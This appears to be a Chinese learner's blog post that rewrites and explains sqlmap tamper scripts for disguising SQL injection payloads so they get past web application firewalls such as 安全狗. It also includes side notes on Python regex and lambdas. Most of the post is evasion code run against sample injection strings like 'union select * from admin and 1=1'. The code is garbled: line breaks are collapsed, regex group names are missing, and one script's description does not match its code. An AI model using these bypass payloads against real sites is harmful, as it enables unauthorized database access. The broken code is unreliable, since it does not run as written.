sqlmap中tamper脚本分析编写
置十对一些编码实现的脚本,很多sqlmap里面需要引用的无法实现,所以有一部分例如keywords就只写写了几个引用了一下,其实这里很多脚本运用是可以绕过安全狗的。本人也是刚开始学习python没多久,有一些错误的话请指正
chardoubleencode.py:对给定的payload全部字符使用双重url编码:
import string import sys payload= sys.argv[1] urlencode= payload if payload: urlencode=" " i=0 while i< len(payload): if payload[i] == ‘%‘and payload in string.hexdigits[i+1:i+2] and payload in string.hexdigits[i+2:i+3] and (i < len(payload)-2) : urlencode += ‘%%25%s‘ % payload[i + 1:i + 3] i+=3 else: urlencode += ‘%%25%.X‘ % ord(payload[i]) i+=1 print urlencode
apostrophenullencode.py:用非法双字节Unicode字符替换单引号
import string import sys payload= sys.argv[1] payload=payload.replace(‘\‘‘, "%00%27") if payload else payload print payload
appendnullbyte.py:在有效载荷的结束位置加载null字节字符编码
import string import sys payload= sys.argv[1] print "%s%%00" % payload if payload else payload
space2morehash.py:将空格替换为#,并添加一个随机字符串和换行符
#coding:utf-8 import requests import random import string import sys i=0 retVal=‘ ‘ payload ="SDSDS SDFcxfdf &*(tygv #djlsj d " if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ‘‘.join(random.choice(string.ascii_uppercase + string.ascii_lowercase)for _ in xrange(random.randint(6, 11))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == ‘#‘ or payload[i:i + 3] == ‘-- ‘: #对于我们原本的注释语句当中后面的就不做注释符加换行符的操作了直接照加了。 retVal += payload[i:] break else: retVal += payload[i] #文本照加 print retVal
bluecoat.py:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
def process(match): word = match.group(‘word‘) if word.upper() in kb.keywords: return match.group().replace(word, "%s%%09" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = retVal.replace("%09 ", "%09") return retVal
附:匿名函数lambda:
1. 将lambda函数赋值给一个变量,通过这个变量间接调用该lambda函数。
2. 将lambda函数赋值给其他函数,从而将其他函数用该lambda函数替换。
3. 将lambda函数作为参数传递给其他函数。
4. 将lambda函数作为其他函数的返回值,返回给调用者。
>>> foo = [2, 18, 9, 22, 17, 24, 8, 12, 27] >>> print filter(lambda x: x % 3 == 0, foo) [18, 9, 24, 12, 27] >>> print map(lambda x: x * 2 + 10, foo) [14, 46, 28, 54, 44, 58, 26, 34, 64] >>> print reduce(lambda x, y: x + y, foo) 139
附:python当中的group,match:
group:group()在正则表达式中用于获取分段截获的字符串. #coding:utf-8 import re content = ‘Hello 123456789 Word_This is just a test 666 Test‘ result = re.match(‘^Hello\s(\d+).*?(\d+)\sTest‘, content) # 注意(\d+) 有括号,+号表示匹配一次或多次 print(result) print(result.group()) # print(result.group(0)) 同样效果 print(result.groups()) print(result.span()) print(result.group(2)) result: C:\Python27\python.exe C:/Users/Dell/PycharmProjects/pythonstudy/test.py <_sre.SRE_Match object at 0x00000000030B7ED0> Hello 123456789 Word_This is just a test 666 Test (‘123456789‘, ‘666‘) (0, 49) 666
space2mysqldash.py:将空格替换为 -- ,并追随一个换行符
#coding:utf-8 import string import random payload=‘fff dddd sds‘ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" elif payload[i] == ‘#‘ or payload[i:i + 3] == ‘-- ‘: retVal += payload[i:] break else: retVal += payload[i] print retVal
re的sub模块
re是regular expression的所写,表示正则表达式,sub是substitute的所写,表示替换; re.sub是个正则表达式方面的函数,用来实现通过正则表达式,实现比普通字符串 re.sub共有五个参数,其中三个必选参数:pattern, repl, string,两个可选参数:count, flags. pattern参数:反斜杠加数字(\N),则对应着匹配的组(matched group),比如\6,表示匹配前面pattern中的第6个group #coding:utf-8 import string import random import re inputStr = "hello crifan, nihao crifan" replacedStr = re.sub(r"hello (\w+), nihao \1", "crifanli", inputStr) #此句中 r 表示去掉反斜杠的转义机制 print ("replacedStr=",replacedStr) #crifanli C:\Python27\python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py (‘replacedStr=‘, ‘crifanli‘) 在此处我们利用re.sub把整个字符串,换成crifanli,这里的反斜杠加数字(\N),表示对应着匹配的组(matched group),即我们第一个\w。 repl参数:如果repl是字符串的话,其中的任何反斜杠转义字符,都会被处理的,例如\n:会被处理为对应的换行符;\r:会被处理为回车符; #coding:utf-8 import string import random import re inputStr = "hello crifan, nihao crifan" replacedStr = re.sub(r"hello (\w+), (\w+) \1", "\g", inputStr) print("replacedStr =",replacedStr) #crifan C:\Python27\python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py (‘replacedStr =‘, ‘nihao‘) #coding:utf-8 import string import random import re inputStr = "hello crifan, nihao crifan" replacedStr = re.sub(r"hello (\w+), (\w+) \1", "\g", inputStr) print("replacedStr =",replacedStr) #crifan C:\Python27\python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py (‘replacedStr =‘, ‘crifan‘) 对应的带命名的组(named group)的版本是: #coding:utf-8 import string import random import re inputStr = "hello crifan, nihao crifan" replacedStr = re.sub(r"hello (?P\w+), (\w+) (?P=xss)", "\g \g", inputStr) print("replacedStr =",replacedStr) #crifan 当repl是函数的时候: import re def pythonReSubDemo(): """ demo Pyton re.sub """ inputStr = "hello 123 world 456" def _add111(matched): #match可以使我们自己定义一个参数 intStr = matched.group("number") #匹配到的是123 intValue = int(intStr) addedValue = intValue + 111 #234 addedValueStr = str(addedValue) #转换为字符串形式 return addedValueStr replacedStr = re.sub("(?P\d+)", _add111, inputStr) #这里匹配的是number即数字,上个sqlmap的脚本我们匹配到的是word即单词 print("replacedStr=",replacedStr)#hello 234 world 567 if __name__=="__main__": pythonReSubDemo() string参数:表示要被处理,要被替换的那个string字符串。 count:
versionedkeywords.py:内敛注释绕过
import re payload=‘ 1 and 1=1 union select * from admin‘ keywords=[‘AND‘,‘UNION‘,‘SELECT‘,‘ADMIN‘,‘FROM‘] def process(match): word = match.group(‘word‘) if word.upper() in keywords: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") print retVal
space2mysqlblank.py:将空格替换为其他空格符号(‘%09‘, ‘%0A‘, ‘%0C‘, ‘%0D‘, ‘%0B‘)
#coding:utf-8 import re import random payload=‘dfsdsfsd 87686fg dsfsf\" "\\ dzfs a‘ blanks = (‘%09‘, ‘%0A‘, ‘%0C‘, ‘%0D‘, ‘%0B‘) retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: #就是TRUE的意思,可以继续进行下面的if判断 if payload[i].isspace(): firstspace = True #如果为空那么就会设置为TRUE,继续进行循环 retVal += random.choice(blanks) continue elif payload[i] == ‘\‘‘: quote = not quote #这里是前面我们设定了quote是false,在第一次遇到\的时候就会变成TRUE,第二次完成闭合的时候就会返回为False。 elif payload[i] == ‘"‘: doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: #当我们满足上面两个条件任意一个之后,那么此时他们都是TRUE,not true 自然就是False,所以在双引号,斜杠当中的空格是不会被随机字符替换的。 retVal += random.choice(blanks) continue retVal += payload[i] print retVal
equaltolike.py:将>替换为GREATEST,绕过对>的过
retVal = payload if payload: retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) return retVal
charunicodeencode.py:适用字符串的unicode编码
import string payload=‘union select * from admin and 1=1‘ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += ‘%%u%.4X‘ % ord(payload[i]) i += 1 print retVal
charencode.py:url编码
import string payload=‘union select * from admin and 1=1‘ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += ‘%%%.2X‘ % ord(payload[i]) i += 1 print retVal
randomcase.py:随机大小写
#coding:utf-8 import random import re keywords=[‘‘] payload=‘union select * from admin and 1=1 ‘ retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): #把所有的符合匹配的组都找了出来 word = match.group() print word if word.upper() in keywords: while True: _ = "" for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower() if len(_) > 1 and _ not in (_.lower(), _.upper()): break retVal = retVal.replace(word, _) print retVal
re.finditer与re.findall模块
re.findall()如果可以匹配返回的是一个列表,re.finditer()返回的是一个迭代器,需要对其进行遍历,才能获取数据。 import re def main(): content = ‘八神是我的好朋友,他的手机电话是18381665314, 他的QQ是1911966573, 他女朋友的电话是18381665315, QQ:1911966574 !‘ regex = re.compile(r‘\d{11}‘) tels = regex.findall(content) print(tels) if __name__ == ‘__main__‘: main() # [‘18381665314‘, ‘18381665315‘]
percentage.py:asp允许每个字符前面添加一个%号
import string payload=‘union select * from admin and 1=1 ‘ if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 elif payload[i] != ‘ ‘: retVal += ‘%%%s‘ % payload[i] i += 1 else: retVal += payload[i] i += 1 print retVal
modsecurityversioned.py:过滤空格,包含完整的查询版本注释
#coding:utf-8 import random payload=‘union select * from admin and 1=1 -- skdh ‘ retVal = payload if payload: postfix = ‘‘ for comment in (‘#‘, ‘--‘, ‘/*‘): if comment in payload: postfix = payload[payload.find(comment):] #锁定到了注释符之前的位置,在这之后的都归为注释内容 print postfix payload = payload[:payload.find(comment)] #锁定到了第一个注释符的元素位置,在前面的都归为payload print payload break if ‘ ‘ in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(‘ ‘)], ‘444‘, payload[payload.find(‘ ‘) + 1:], postfix) #最后一个就是当我们遇到注释符号之后就拍出在版本绕过之外了,第二个就是一个随机数但是在这里我把它设为了一个固定的数字,第三个 print retVal